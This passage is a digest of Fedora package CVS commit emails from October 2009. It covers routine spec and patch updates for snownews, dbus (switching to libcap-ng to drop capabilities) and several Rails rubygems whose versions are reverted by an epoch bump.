	1.8 snownews-1.5.10-manpage.patch, 1.1, NONE
Message-ID: <20091007220253.5054D11C00E6@cvs1.fedora.phx.redhat.com>

Author: shishz

Update of /cvs/pkgs/rpms/snownews/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv1129

Modified Files:
	.cvsignore snownews.spec sources 
Added Files:
	snownews-1.5.12-manpage.patch 
Removed Files:
	snownews-1.5.10-manpage.patch 
Log Message:
* Wed Oct  7 2009 Zing <zing at fastmail.fm> - 1.5.12-1
- Bug fixes + openssl added as a requirement
- Corrected two crashes when using mark unread and open URL on
  non-existent items.
- Use OpenSSL for MD5 calculations and remove all old MD5 code.
- Fix 64bit digest calc. Readstatus wasn't remembered on 64bit versions.


snownews-1.5.12-manpage.patch:
 snownews.1.in |   13 -------------
 1 file changed, 13 deletions(-)

--- NEW FILE snownews-1.5.12-manpage.patch ---
--- snownews-1.5.12/doc/man/snownews.1.in.orig	2009-10-05 21:28:01.000000000 -0400
+++ snownews-1.5.12/doc/man/snownews.1.in	2009-10-05 21:29:18.000000000 -0400
@@ -184,19 +184,6 @@ variable "http_proxy". Snownews expects 
 .I http://your_proxy.org:PORT/
 (http://proxy.your_isp.com:8080/).
 .P
-.B Automatic update checking
-.P
-Once a week the program will automatically check for a new version when it exits.
-It will request a file named "version" from my webserver and compare
-the returned value with the local program version. If they differ it
-notifies the user of a new version. It is done on exit to be least
-annoying I hope. This way you can easily ignore it if you don't want
-to upgrade for some reason or can't, because you're using a package
-that came with your distribution, etc. To disable this check, put the value
--1 into the file ~/.snownews/updatecheck. Snownews will
-not transfer anything to my server. It will just download a file
-containing the version number and compare it locally.
-.P
 .B Plugins
 .P
 Snownews has a plugin architecture that allows to load feeds from external


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/snownews/F-12/.cvsignore,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- .cvsignore	3 Aug 2008 00:31:20 -0000	1.7
+++ .cvsignore	7 Oct 2009 22:02:52 -0000	1.8
@@ -1 +1 @@
-snownews-1.5.10.tar.gz
+snownews-1.5.12.tar.gz


Index: snownews.spec
===================================================================
RCS file: /cvs/pkgs/rpms/snownews/F-12/snownews.spec,v
retrieving revision 1.20
retrieving revision 1.21
diff -u -p -r1.20 -r1.21
--- snownews.spec	27 Jul 2009 04:31:59 -0000	1.20
+++ snownews.spec	7 Oct 2009 22:02:52 -0000	1.21
@@ -1,18 +1,19 @@
 Name:		snownews
-Version: 	1.5.10
-Release: 	6%{?dist}
+Version: 	1.5.12
+Release: 	1%{?dist}
 Summary: 	A text mode RSS/RDF newsreader
 Group: 		Applications/Internet
 License: 	GPLv2
 Url:		http://home.kcore.de/~kiza/software/snownews
-Source0: 	http://home.kcore.de/~kiza/software/snownews/download/snownews-1.5.10.tar.gz
+Source0: 	http://home.kcore.de/~kiza/software/snownews/download/snownews-1.5.12.tar.gz
 Patch0:		snownews-1.5.10-nocheck.patch
 Patch1:		snownews-1.5.10-nostrip.patch
-Patch2:		snownews-1.5.10-manpage.patch
+Patch2:		snownews-1.5.12-manpage.patch
 BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildRequires:	libxml2-devel
 BuildRequires:	ncurses-devel
 BuildRequires:	gettext
+BuildRequires:	openssl-devel
 
 %description
 Snownews  is  a text mode RSS/RDF newsreader. It supports all versions
@@ -50,6 +51,13 @@ rm -rf $RPM_BUILD_ROOT
 %{_mandir}/*/man1/*
 
 %changelog
+* Wed Oct  7 2009 Zing <zing at fastmail.fm> - 1.5.12-1
+- Bug fixes + openssl added as a requirement
+- Corrected two crashes when using mark unread and open URL on
+  non-existent items.
+- Use OpenSSL for MD5 calculations and remove all old MD5 code.
+- Fix 64bit digest calc. Readstatus wasn't remembered on 64bit versions.
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.5.10-6
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/snownews/F-12/sources,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- sources	3 Aug 2008 00:31:20 -0000	1.7
+++ sources	7 Oct 2009 22:02:52 -0000	1.8
@@ -1 +1 @@
-213a7543bab31a7dfe5a76c173cd5d49  snownews-1.5.10.tar.gz
+80da8943fc5aa96571924aec0087d4c0  snownews-1.5.12.tar.gz


--- snownews-1.5.10-manpage.patch DELETED ---



From lutter at fedoraproject.org  Wed Oct  7 22:22:23 2009
From: lutter at fedoraproject.org (David Lutterkort)
Date: Wed,  7 Oct 2009 22:22:23 +0000 (UTC)
Subject: rpms/rubygem-activesupport/F-11 .cvsignore, 1.9,
	1.10 rubygem-activesupport.spec, 1.11, 1.12 sources, 1.9, 1.10
Message-ID: <20091007222224.0D63811C00E6@cvs1.fedora.phx.redhat.com>

Author: lutter

Update of /cvs/pkgs/rpms/rubygem-activesupport/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv11572

Modified Files:
	.cvsignore rubygem-activesupport.spec sources 
Log Message:
Bump epoch; rails is not updatable across versions (bz 520843)


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/rubygem-activesupport/F-11/.cvsignore,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- .cvsignore	26 Jul 2009 10:58:09 -0000	1.9
+++ .cvsignore	7 Oct 2009 22:22:22 -0000	1.10
@@ -1 +1 @@
-activesupport-2.3.3.gem
+activesupport-2.3.2.gem


Index: rubygem-activesupport.spec
===================================================================
RCS file: /cvs/pkgs/rpms/rubygem-activesupport/F-11/rubygem-activesupport.spec,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- rubygem-activesupport.spec	22 Sep 2009 18:23:05 -0000	1.11
+++ rubygem-activesupport.spec	7 Oct 2009 22:22:22 -0000	1.12
@@ -6,8 +6,9 @@
 
 Summary: Support and utility classes used by the Rails framework
 Name: rubygem-%{gemname}
-Version: 2.3.3
-Release: 2%{?dist}
+Epoch: 1
+Version: 2.3.2
+Release: 1%{?dist}
 Group: Development/Languages
 License: MIT
 URL: http://www.rubyonrails.org
@@ -70,6 +71,9 @@ rm -rf %{buildroot}
 
 
 %changelog
+* Wed Oct  7 2009 David Lutterkort <lutter at redhat.com> - 1:2.3.2-1
+- Bump epoch; rails is not updatable across versions (bz 520843)
+
 * Wed Sep 23 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp> - 2.3.3-2
 - Patch for CVE-2009-3009 (bug 520843)
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/rubygem-activesupport/F-11/sources,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- sources	26 Jul 2009 10:58:09 -0000	1.9
+++ sources	7 Oct 2009 22:22:22 -0000	1.10
@@ -1 +1 @@
-7ca84c881594a6a999c9ac7e5e37011c  activesupport-2.3.3.gem
+d2a80181483530cc68683b1b36310ba2  activesupport-2.3.2.gem



From mclasen at fedoraproject.org  Wed Oct  7 22:22:58 2009
From: mclasen at fedoraproject.org (Matthias Clasen)
Date: Wed,  7 Oct 2009 22:22:58 +0000 (UTC)
Subject: rpms/dbus/F-12 dbus-1.2.16-capability.patch, NONE, 1.1 dbus.spec,
	1.175, 1.176
Message-ID: <20091007222258.20FE811C00E6@cvs1.fedora.phx.redhat.com>

Author: mclasen

Update of /cvs/pkgs/rpms/dbus/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv11313

Modified Files:
	dbus.spec 
Added Files:
	dbus-1.2.16-capability.patch 
Log Message:
Drop capabilities


dbus-1.2.16-capability.patch:
 bus/selinux.c                 |   15 +++-
 configure.in                  |    4 -
 dbus/dbus-sysdeps-util-unix.c |  135 ++++++++----------------------------------
 3 files changed, 40 insertions(+), 114 deletions(-)

--- NEW FILE dbus-1.2.16-capability.patch ---
diff -urp dbus-1.2.16.orig/bus/selinux.c dbus-1.2.16/bus/selinux.c
--- dbus-1.2.16.orig/bus/selinux.c	2009-10-03 08:46:51.000000000 -0400
+++ dbus-1.2.16/bus/selinux.c	2009-10-03 08:47:26.000000000 -0400
@@ -45,6 +45,7 @@
 #include <stdarg.h>
 #include <stdio.h>
 #ifdef HAVE_LIBAUDIT
+#include <cap-ng.h>
 #include <libaudit.h>
 #endif /* HAVE_LIBAUDIT */
 #endif /* HAVE_SELINUX */
@@ -143,13 +144,17 @@ log_callback (const char *fmt, ...) 
 #ifdef HAVE_LIBAUDIT
   if (audit_fd >= 0)
   {
-    char buf[PATH_MAX*2];
+    capng_get_caps_process();
+    if (capng_have_capability(CAPNG_EFFECTIVE, CAP_AUDIT_WRITE))
+    {
+      char buf[PATH_MAX*2];
     
-    /* FIXME: need to change this to show real user */
-    vsnprintf(buf, sizeof(buf), fmt, ap);
-    audit_log_user_avc_message(audit_fd, AUDIT_USER_AVC, buf, NULL, NULL,
+      /* FIXME: need to change this to show real user */
+      vsnprintf(buf, sizeof(buf), fmt, ap);
+      audit_log_user_avc_message(audit_fd, AUDIT_USER_AVC, buf, NULL, NULL,
                                NULL, getuid());
-    return;
+      return;
+    }
   }
 #endif /* HAVE_LIBAUDIT */
   
diff -urp dbus-1.2.16.orig/configure.in dbus-1.2.16/configure.in
--- dbus-1.2.16.orig/configure.in	2009-10-03 08:46:51.000000000 -0400
+++ dbus-1.2.16/configure.in	2009-10-03 08:47:26.000000000 -0400
@@ -844,7 +844,7 @@ else
     AC_CHECK_LIB(audit, audit_log_user_avc_message, 
                  have_libaudit=yes, have_libaudit=no)
     if test x$have_libaudit = xyes ; then
-        AC_CHECK_LIB(cap, cap_set_proc, 
+        AC_CHECK_LIB(cap-ng, capng_clear, 
                  have_libaudit=yes, have_libaudit=no)
     fi
 fi
@@ -853,7 +853,7 @@ AM_CONDITIONAL(HAVE_LIBAUDIT, test x$hav
 
 if test x$have_libaudit = xyes ; then
     SELINUX_LIBS="$SELINUX_LIBS -laudit"
-    LIBS="-lcap $LIBS"
+    LIBS="-lcap-ng $LIBS"
     AC_DEFINE(HAVE_LIBAUDIT,1,[audit daemon SELinux support])
 fi
 
diff -urp dbus-1.2.16.orig/dbus/dbus-sysdeps-util-unix.c dbus-1.2.16/dbus/dbus-sysdeps-util-unix.c
--- dbus-1.2.16.orig/dbus/dbus-sysdeps-util-unix.c	2009-10-03 08:46:51.000000000 -0400
+++ dbus-1.2.16/dbus/dbus-sysdeps-util-unix.c	2009-10-03 08:52:14.000000000 -0400
@@ -46,8 +46,7 @@
 #include <syslog.h>
 #include <syslog.h>
 #ifdef HAVE_LIBAUDIT
-#include <sys/prctl.h>
-#include <sys/capability.h>
+#include <cap-ng.h>
 #include <libaudit.h>
 #endif /* HAVE_LIBAUDIT */
 
@@ -323,10 +322,6 @@ _dbus_change_to_daemon_user  (const char
   dbus_uid_t uid;
   dbus_gid_t gid;
   DBusString u;
-#ifdef HAVE_LIBAUDIT
-  dbus_bool_t we_were_root;
-  cap_t new_caps;
-#endif
   
   _dbus_string_init_const (&u, user);
   
@@ -339,123 +334,49 @@ _dbus_change_to_daemon_user  (const char
     }
   
 #ifdef HAVE_LIBAUDIT
-  we_were_root = _dbus_geteuid () == 0;
-  new_caps = NULL;
-  /* have a tmp set of caps that we use to transition to the usr/grp dbus should
-   * run as ... doesn't really help. But keeps people happy.
-   */
-    
-  if (we_were_root)
+  /* If we were root */
+  if (_dbus_geteuid () == 0)
     {
-      cap_value_t new_cap_list[] = { CAP_AUDIT_WRITE };
-      cap_value_t tmp_cap_list[] = { CAP_AUDIT_WRITE, CAP_SETUID, CAP_SETGID };
-      cap_t tmp_caps = cap_init();
-        
-      if (!tmp_caps || !(new_caps = cap_init ()))
-        {
-          dbus_set_error (error, DBUS_ERROR_FAILED,
-                          "Failed to initialize drop of capabilities: %s\n",
-                          _dbus_strerror (errno));
-
-          if (tmp_caps)
-            cap_free (tmp_caps);
+      int rc;
 
-          return FALSE;
-        }
-
-      /* assume these work... */
-      cap_set_flag (new_caps, CAP_PERMITTED, 1, new_cap_list, CAP_SET);
-      cap_set_flag (new_caps, CAP_EFFECTIVE, 1, new_cap_list, CAP_SET);
-      cap_set_flag (tmp_caps, CAP_PERMITTED, 3, tmp_cap_list, CAP_SET);
-      cap_set_flag (tmp_caps, CAP_EFFECTIVE, 3, tmp_cap_list, CAP_SET);
-      
-      if (prctl (PR_SET_KEEPCAPS, 1, 0, 0, 0) == -1)
+      capng_clear(CAPNG_SELECT_BOTH);
+      capng_update(CAPNG_ADD, CAPNG_EFFECTIVE|CAPNG_PERMITTED,
+                   CAP_AUDIT_WRITE);
+      rc = capng_change_id(uid, gid, 0);
+      if (rc)
         {
-          dbus_set_error (error, _dbus_error_from_errno (errno),
-                          "Failed to set keep-capabilities: %s\n",
-                          _dbus_strerror (errno));
-          cap_free (tmp_caps);
-          goto fail;
-        }
-        
-      if (cap_set_proc (tmp_caps) == -1)
-        {
-          dbus_set_error (error, DBUS_ERROR_FAILED,
+          switch (rc) {
+            default:
+              dbus_set_error (error, DBUS_ERROR_FAILED,
                           "Failed to drop capabilities: %s\n",
                           _dbus_strerror (errno));
-          cap_free (tmp_caps);
-          goto fail;
-        }
-      cap_free (tmp_caps);
-    }
-#endif /* HAVE_LIBAUDIT */
-  
-  /* setgroups() only works if we are a privileged process,
-   * so we don't return error on failure; the only possible
-   * failure is that we don't have perms to do it.
-   *
-   * not sure this is right, maybe if setuid()
-   * is going to work then setgroups() should also work.
-   */
-  if (setgroups (0, NULL) < 0)
-    _dbus_warn ("Failed to drop supplementary groups: %s\n",
-                _dbus_strerror (errno));
-  
-  /* Set GID first, or the setuid may remove our permission
-   * to change the GID
-   */
-  if (setgid (gid) < 0)
-    {
-      dbus_set_error (error, _dbus_error_from_errno (errno),
+              break;
+            case -4:
+              dbus_set_error (error, _dbus_error_from_errno (errno),
                       "Failed to set GID to %lu: %s", gid,
                       _dbus_strerror (errno));
-      goto fail;
-    }
-  
-  if (setuid (uid) < 0)
-    {
-      dbus_set_error (error, _dbus_error_from_errno (errno),
+              break;
+            case -5:
+              _dbus_warn ("Failed to drop supplementary groups: %s\n",
+                _dbus_strerror (errno));
+              break;
+            case -6:
+              dbus_set_error (error, _dbus_error_from_errno (errno),
                       "Failed to set UID to %lu: %s", uid,
                       _dbus_strerror (errno));
-      goto fail;
-    }
-  
-#ifdef HAVE_LIBAUDIT
-  if (we_were_root)
-    {
-      if (cap_set_proc (new_caps))
-        {
-          dbus_set_error (error, DBUS_ERROR_FAILED,
-                          "Failed to drop capabilities: %s\n",
-                          _dbus_strerror (errno));
-          goto fail;
-        }
-      cap_free (new_caps);
-
-      /* should always work, if it did above */      
-      if (prctl (PR_SET_KEEPCAPS, 0, 0, 0, 0) == -1)
-        {
-          dbus_set_error (error, _dbus_error_from_errno (errno),
+              break;
+            case -7:
+              dbus_set_error (error, _dbus_error_from_errno (errno),
                           "Failed to unset keep-capabilities: %s\n",
                           _dbus_strerror (errno));
+              break;
+          }
           return FALSE;
         }
     }
-#endif
+#endif /* HAVE_LIBAUDIT */
 
  return TRUE;
-
- fail:
-#ifdef HAVE_LIBAUDIT
- if (!we_were_root)
-   {
-     /* should always work, if it did above */
-     prctl (PR_SET_KEEPCAPS, 0, 0, 0, 0);
-     cap_free (new_caps);
-   }
-#endif
-
- return FALSE;
 }
 
 void 


Index: dbus.spec
===================================================================
RCS file: /cvs/pkgs/rpms/dbus/F-12/dbus.spec,v
retrieving revision 1.175
retrieving revision 1.176
diff -u -p -r1.175 -r1.176
--- dbus.spec	7 Oct 2009 16:21:54 -0000	1.175
+++ dbus.spec	7 Oct 2009 22:22:57 -0000	1.176
@@ -9,7 +9,7 @@ Summary: D-BUS message bus
 Name: dbus
 Epoch: 1
 Version: 1.2.16
-Release: 7%{?dist}
+Release: 8%{?dist}
 URL: http://www.freedesktop.org/software/dbus/
 Source0: http://dbus.freedesktop.org/releases/dbus/%{name}-%{version}.tar.gz
 Source1: doxygen_to_devhelp.xsl
@@ -18,14 +18,14 @@ Source3: diagram.png
 Source4: diagram.svg
 License: GPLv2+ or AFL
 Group: System Environment/Libraries
-BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n) 
+BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildRequires: libtool
 BuildRequires: expat-devel >= %{expat_version}
 BuildRequires: libselinux-devel >= %{libselinux_version}
 BuildRequires: audit-libs-devel >= 0.9
 BuildRequires: libX11-devel
-BuildRequires: libcap-devel
+BuildRequires: libcap-ng-devel
 BuildRequires: gettext
 BuildRequires: doxygen
 BuildRequires: xmlto
@@ -46,6 +46,9 @@ Patch1: dbus-1.0.1-generate-xml-docs.pat
 # from upstream
 Patch2: fix-timeout-accounting.patch
 
+# https://bugzilla.redhat.com/show_bug.cgi?id=518541
+Patch3: dbus-1.2.16-cabability.patch
+
 %description
 D-BUS is a system for sending messages between applications. It is
 used both for the system-wide message bus service, and as a
@@ -100,6 +103,7 @@ in this separate package so server syste
 %patch0 -p1 -b .start-early
 %patch1 -p1 -b .generate-xml-docs
 %patch2 -p1 -b .fix-timeout-accounting
+%patch3 -p1 -b .cabability
 
 autoreconf -f -i
 
@@ -236,6 +240,9 @@ fi
 %{_includedir}/*
 
 %changelog
+* Wed Oct  7 2009 Matthias Clasen <mclasen at redhat.com> - 1:1.2.16-8
+- Drop capabilities (#518541)
+
 * Wed Oct  7 2009 Matthias Clasen <mclasen at redhat.com> - 1:1.2.16-7
 - Add missing diagrams to the docs (#527650)
 



From lutter at fedoraproject.org  Wed Oct  7 22:24:26 2009
From: lutter at fedoraproject.org (David Lutterkort)
Date: Wed,  7 Oct 2009 22:24:26 +0000 (UTC)
Subject: rpms/rubygem-activesupport/F-11 rubygem-activesupport.spec, 1.12,
	1.13
Message-ID: <20091007222426.2ECA311C00E6@cvs1.fedora.phx.redhat.com>

Author: lutter

Update of /cvs/pkgs/rpms/rubygem-activesupport/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv12461

Modified Files:
	rubygem-activesupport.spec 
Log Message:
Also increase release, otherwise 'make tag' fails


Index: rubygem-activesupport.spec
===================================================================
RCS file: /cvs/pkgs/rpms/rubygem-activesupport/F-11/rubygem-activesupport.spec,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- rubygem-activesupport.spec	7 Oct 2009 22:22:22 -0000	1.12
+++ rubygem-activesupport.spec	7 Oct 2009 22:24:25 -0000	1.13
@@ -8,7 +8,7 @@ Summary: Support and utility classes use
 Name: rubygem-%{gemname}
 Epoch: 1
 Version: 2.3.2
-Release: 1%{?dist}
+Release: 2%{?dist}
 Group: Development/Languages
 License: MIT
 URL: http://www.rubyonrails.org
@@ -71,6 +71,9 @@ rm -rf %{buildroot}
 
 
 %changelog
+* Wed Oct  7 2009 David Lutterkort <lutter at redhat.com> - 1:2.3.2-2
+- Also increase release, otherwise 'make tag' fails
+
 * Wed Oct  7 2009 David Lutterkort <lutter at redhat.com> - 1:2.3.2-1
 - Bump epoch; rails is not updatable across versions (bz 520843)
 



From mclasen at fedoraproject.org  Wed Oct  7 22:29:51 2009
From: mclasen at fedoraproject.org (Matthias Clasen)
Date: Wed,  7 Oct 2009 22:29:51 +0000 (UTC)
Subject: rpms/dbus/F-12 dbus.spec,1.176,1.177
Message-ID: <20091007222951.CE82211C00E6@cvs1.fedora.phx.redhat.com>

Author: mclasen

Update of /cvs/pkgs/rpms/dbus/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv15554

Modified Files:
	dbus.spec 
Log Message:
fix spec



Index: dbus.spec
===================================================================
RCS file: /cvs/pkgs/rpms/dbus/F-12/dbus.spec,v
retrieving revision 1.176
retrieving revision 1.177
diff -u -p -r1.176 -r1.177
--- dbus.spec	7 Oct 2009 22:22:57 -0000	1.176
+++ dbus.spec	7 Oct 2009 22:29:51 -0000	1.177
@@ -103,7 +103,7 @@ in this separate package so server syste
 %patch0 -p1 -b .start-early
 %patch1 -p1 -b .generate-xml-docs
 %patch2 -p1 -b .fix-timeout-accounting
-%patch3 -p1 -b .cabability
+%patch3 -p0 -b .cabability
 
 autoreconf -f -i
 



From lutter at fedoraproject.org  Wed Oct  7 22:30:25 2009
From: lutter at fedoraproject.org (David Lutterkort)
Date: Wed,  7 Oct 2009 22:30:25 +0000 (UTC)
Subject: rpms/rubygem-activerecord/F-11 .cvsignore, 1.9,
	1.10 rubygem-activerecord.spec, 1.12, 1.13 sources, 1.9, 1.10
Message-ID: <20091007223025.339C211C02A3@cvs1.fedora.phx.redhat.com>

Author: lutter

Update of /cvs/pkgs/rpms/rubygem-activerecord/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv15793

Modified Files:
	.cvsignore rubygem-activerecord.spec sources 
Log Message:
Bump epoch; rails is not updatable across versions (bz 520843)


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/rubygem-activerecord/F-11/.cvsignore,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- .cvsignore	26 Jul 2009 10:50:43 -0000	1.9
+++ .cvsignore	7 Oct 2009 22:30:24 -0000	1.10
@@ -1 +1 @@
-activerecord-2.3.3.gem
+activerecord-2.3.2.gem


Index: rubygem-activerecord.spec
===================================================================
RCS file: /cvs/pkgs/rpms/rubygem-activerecord/F-11/rubygem-activerecord.spec,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- rubygem-activerecord.spec	26 Sep 2009 16:19:12 -0000	1.12
+++ rubygem-activerecord.spec	7 Oct 2009 22:30:25 -0000	1.13
@@ -6,7 +6,8 @@
 
 Summary: Implements the ActiveRecord pattern for ORM
 Name: rubygem-%{gemname}
-Version: 2.3.3
+Epoch: 1
+Version: 2.3.2
 Release: 2%{?dist}
 Group: Development/Languages
 License: MIT
@@ -71,6 +72,9 @@ rm -rf %{buildroot}
 %{gemdir}/specifications/%{gemname}-%{version}.gemspec
 
 %changelog
+* Wed Oct  7 2009 David Lutterkort <lutter at redhat.com> - 1:2.3.2-2
+- Bump epoch; rails is not updatable across versions (bz 520843)
+
 * Sun Sep 27 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp> - 2.3.3-2
 - Force rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/rubygem-activerecord/F-11/sources,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- sources	26 Jul 2009 10:50:43 -0000	1.9
+++ sources	7 Oct 2009 22:30:25 -0000	1.10
@@ -1 +1 @@
-1516ff58e4e43987aed43a09d7b342d2  activerecord-2.3.3.gem
+c4cb9b6655909594ca43ee939c2fb7f2  activerecord-2.3.2.gem



From lutter at fedoraproject.org  Wed Oct  7 22:32:41 2009
From: lutter at fedoraproject.org (David Lutterkort)
Date: Wed,  7 Oct 2009 22:32:41 +0000 (UTC)
Subject: rpms/rubygem-actionpack/F-11 .cvsignore, 1.9,
	1.10 rubygem-actionpack.spec, 1.11, 1.12 sources, 1.9, 1.10
Message-ID: <20091007223241.E0CC911C00E6@cvs1.fedora.phx.redhat.com>

Author: lutter

Update of /cvs/pkgs/rpms/rubygem-actionpack/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv16860

Modified Files:
	.cvsignore rubygem-actionpack.spec sources 
Log Message:
Bump epoch; rails is not updatable across versions (bz 520843)


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/rubygem-actionpack/F-11/.cvsignore,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- .cvsignore	28 Jul 2009 21:20:57 -0000	1.9
+++ .cvsignore	7 Oct 2009 22:32:41 -0000	1.10
@@ -1 +1 @@
-actionpack-2.3.3.gem
+actionpack-2.3.2.gem


Index: rubygem-actionpack.spec
===================================================================
RCS file: /cvs/pkgs/rpms/rubygem-actionpack/F-11/rubygem-actionpack.spec,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- rubygem-actionpack.spec	22 Sep 2009 18:23:12 -0000	1.11
+++ rubygem-actionpack.spec	7 Oct 2009 22:32:41 -0000	1.12
@@ -6,7 +6,8 @@
 
 Summary: Web-flow and rendering framework putting the VC in MVC
 Name: rubygem-%{gemname}
-Version: 2.3.3
+Epoch: 1
+Version: 2.3.2
 Release: 2%{?dist}
 Group: Development/Languages
 License: MIT
@@ -76,6 +77,9 @@ rm -rf %{buildroot}
 
 
 %changelog
+* Wed Oct  7 2009 David Lutterkort <lutter at redhat.com> - 1:2.3.2-2
+- Bump epoch; rails is not updatable across versions (bz 520843)
+
 * Wed Sep 23 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp> - 2.3.3-2
 - Patch for CVE-2009-3009 (bug 520843)
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/rubygem-actionpack/F-11/sources,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- sources	28 Jul 2009 21:20:58 -0000	1.9
+++ sources	7 Oct 2009 22:32:41 -0000	1.10
@@ -1 +1 @@
-7d60ee9499c04712ede6c747e5028390  actionpack-2.3.3.gem
+ba24f9f1d0272a76a885203f25d176b2  actionpack-2.3.2.gem



From lutter at fedoraproject.org  Wed Oct  7 22:36:50 2009
From: lutter at fedoraproject.org (David Lutterkort)
Date: Wed,  7 Oct 2009 22:36:50 +0000 (UTC)
Subject: rpms/rubygem-actionmailer/F-11 .cvsignore, 1.9,
	1.10 rubygem-actionmailer.spec, 1.12, 1.13 sources, 1.9, 1.10
Message-ID: <20091007223650.8D61911C00E6@cvs1.fedora.phx.redhat.com>

Author: lutter

Update of /cvs/pkgs/rpms/rubygem-actionmailer/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19162

Modified Files:
	.cvsignore rubygem-actionmailer.spec sources 
Log Message:
Bump epoch; rails is not updatable across versions (bz 520843)


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/rubygem-actionmailer/F-11/.cvsignore,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- .cvsignore	12 Aug 2009 21:19:35 -0000	1.9
+++ .cvsignore	7 Oct 2009 22:36:50 -0000	1.10
@@ -1 +1 @@
-actionmailer-2.3.3.gem
+actionmailer-2.3.2.gem


Index: rubygem-actionmailer.spec
===================================================================
RCS file: /cvs/pkgs/rpms/rubygem-actionmailer/F-11/rubygem-actionmailer.spec,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- rubygem-actionmailer.spec	26 Sep 2009 16:19:12 -0000	1.12
+++ rubygem-actionmailer.spec	7 Oct 2009 22:36:50 -0000	1.13
@@ -6,7 +6,8 @@
 
 Summary: Service layer for easy email delivery and testing
 Name: rubygem-%{gemname}
-Version: 2.3.3
+Epoch: 1
+Version: 2.3.2
 Release: 3%{?dist}
 Group: Development/Languages
 License: MIT
@@ -75,6 +76,9 @@ rm -rf %{buildroot}
 
 
 %changelog
+* Wed Oct  7 2009 David Lutterkort <lutter at redhat.com> - 1:2.3.2-3
+- Bump epoch; rails is not updatable across versions (bz 520843)
+
 * Sun Sep 27 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp> - 2.3.3-3
 - Force rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/rubygem-actionmailer/F-11/sources,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- sources	12 Aug 2009 21:19:35 -0000	1.9
+++ sources	7 Oct 2009 22:36:50 -0000	1.10
@@ -1 +1 @@
-b8caa899e009e09d643e6105d977b165  actionmailer-2.3.3.gem
+422d6ec5d13c0c8a151e80b1024bd100  actionmailer-2.3.2.gem



From mclasen at fedoraproject.org  Wed Oct  7 22:39:07 2009
From: mclasen at fedoraproject.org (Matthias Clasen)
Date: Wed,  7 Oct 2009 22:39:07 +0000 (UTC)
Subject: rpms/dbus/F-12 dbus.spec,1.177,1.178
Message-ID: <20091007223907.8177411C00E6@cvs1.fedora.phx.redhat.com>

Author: mclasen

Update of /cvs/pkgs/rpms/dbus/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19210

Modified Files:
	dbus.spec 
Log Message:
fix spec more



Index: dbus.spec
===================================================================
RCS file: /cvs/pkgs/rpms/dbus/F-12/dbus.spec,v
retrieving revision 1.177
retrieving revision 1.178
diff -u -p -r1.177 -r1.178
--- dbus.spec	7 Oct 2009 22:29:51 -0000	1.177
+++ dbus.spec	7 Oct 2009 22:39:06 -0000	1.178
@@ -47,7 +47,7 @@ Patch1: dbus-1.0.1-generate-xml-docs.pat
 Patch2: fix-timeout-accounting.patch
 
 # https://bugzilla.redhat.com/show_bug.cgi?id=518541
-Patch3: dbus-1.2.16-cabability.patch
+Patch3: dbus-1.2.16-capability.patch
 
 %description
 D-BUS is a system for sending messages between applications. It is
@@ -103,7 +103,7 @@ in this separate package so server syste
 %patch0 -p1 -b .start-early
 %patch1 -p1 -b .generate-xml-docs
 %patch2 -p1 -b .fix-timeout-accounting
-%patch3 -p0 -b .cabability
+%patch3 -p0 -b .capability
 
 autoreconf -f -i
 



From lutter at fedoraproject.org  Wed Oct  7 22:40:57 2009
From: lutter at fedoraproject.org (David Lutterkort)
Date: Wed,  7 Oct 2009 22:40:57 +0000 (UTC)
Subject: rpms/rubygem-activeresource/F-11 .cvsignore, 1.8,
